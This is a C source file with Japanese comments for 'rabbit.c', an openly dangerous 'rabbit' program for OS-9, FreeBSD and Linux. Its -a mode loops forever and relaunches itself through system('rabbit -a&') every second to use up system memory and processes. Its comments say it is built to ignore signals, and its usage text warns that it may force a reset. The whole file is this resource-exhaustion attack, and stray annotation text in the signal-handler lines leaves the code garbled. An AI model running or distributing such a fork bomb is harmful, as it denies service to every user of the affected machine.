/********************************************************************************/
/* */
/* 著作権は放棄しません、自由に使用・改造・再配布可能です。 */
/* 改造版を再配布する際は、必ずファイル名を変更して、オリジナルを添付して */
/* 配布してください。 */
/* */
/* プログラム名 : ラビット増殖プログラム */
/* ファイル名 : rabbit.c */
/* 概要 : 全てのシグナルを無視しシステムのリソースメモリー */
/* 空間を食いつぶす ちょっと 危険なプログラムです。 */
/* 作成者 : S.Hata */
/* */
/* 適応装置 : OS-9 FreeBSD & Linuxサーバ */
/* */
/* 変更履歴 : Make 1991/09/11 */
/* Ver Date 履歴(History) 氏名(Name) */
/* ---- -------- -------------------------------- ----------------- */
/* 0.1 91/12/20 新規作成 S.Hata */
/* 0.2 00/12/14 OS-9 to FreeBSD4.0 Converto S.Hata */
/* 0.3 01/01/23 シグナル・ハンドリング追加 S.Hata */
/* 0.4 03/08/28 シグナル・ハンドリング訂正(FreeBSD4.7)S.Hata */
/* 0.5 06/04/04 gcc ver 2.95.4 S.Hata */
/* */
/********************************************************************************/
/* → 06/04/04 */
#include <time.h>
#include <sys/signal.h>
#include <stdio.h>
#define ERROR (-1)
int sigcode = 0;
void handler(int sv_mask) /* シグナル・ハンドリング */sv_mask ← ここがsignal.hで変わっていました。
{
sigcode =sv_mask; /* short cooding ? */sv_mask ← ここがsignal.hで変わっていました。
}
main(argc, argv)
int argc;
char *argv[];
{
char buffer[1024*1024];
signal(sigcode,handler); /* シグナルインターセプト ルーティンを設定 */
if ( argc == 1 || ( argv[1][0]== '-' && argv[1][1] == '?' )){
usage();
_exit(0);
}
if ( argv[1][0] == '-' && ( argv[1][1] == 'a' || argv[1][1] =='A' )){
fprintf(stdout,"\07\nAh ... あなたの好奇心がとんでもないことを ........ \n");
fprintf(stdout,"\07\nあなたは「 パンドラ 」の箱を開けてしまった !!\n\n");
sleep(2);
strcpy( buffer,"I need memory !!");
for (;;){
while (!sigcode){
printf("%s\n", buffer);
system("rabbit -a&");
sleep(1); /* sleeping 1000m sec */
}
printf("This signal isn't accepted. <%d>\n",sigcode);
sigcode = 0;
}
}
}
usage()
{
printf("\07\nこのプログラムは非常に危険なプログラムです\n");
printf("決して起動しないよう。 !!\n");
printf("どうしても起動したい ..... !! 衝動にかられたら\n");
printf("誰もシステムを使用していない事を確認してから .... ");
printf("リセットを覚悟で起動して下さい。 \n\07\n");
printf("\nrabbit : please give me parameter.\n");
printf("Syntax : rabbit [opt]\n");
printf("Option : -a auto mode\n");
printf(" -? : you know this one\n");
}
/* rabbit.c end of program */
/*
This program is a very dangerous program.
To start never.
Anyone is ... after it confirms that a system isn't being used.
Start resetting by the resolution.
*/
|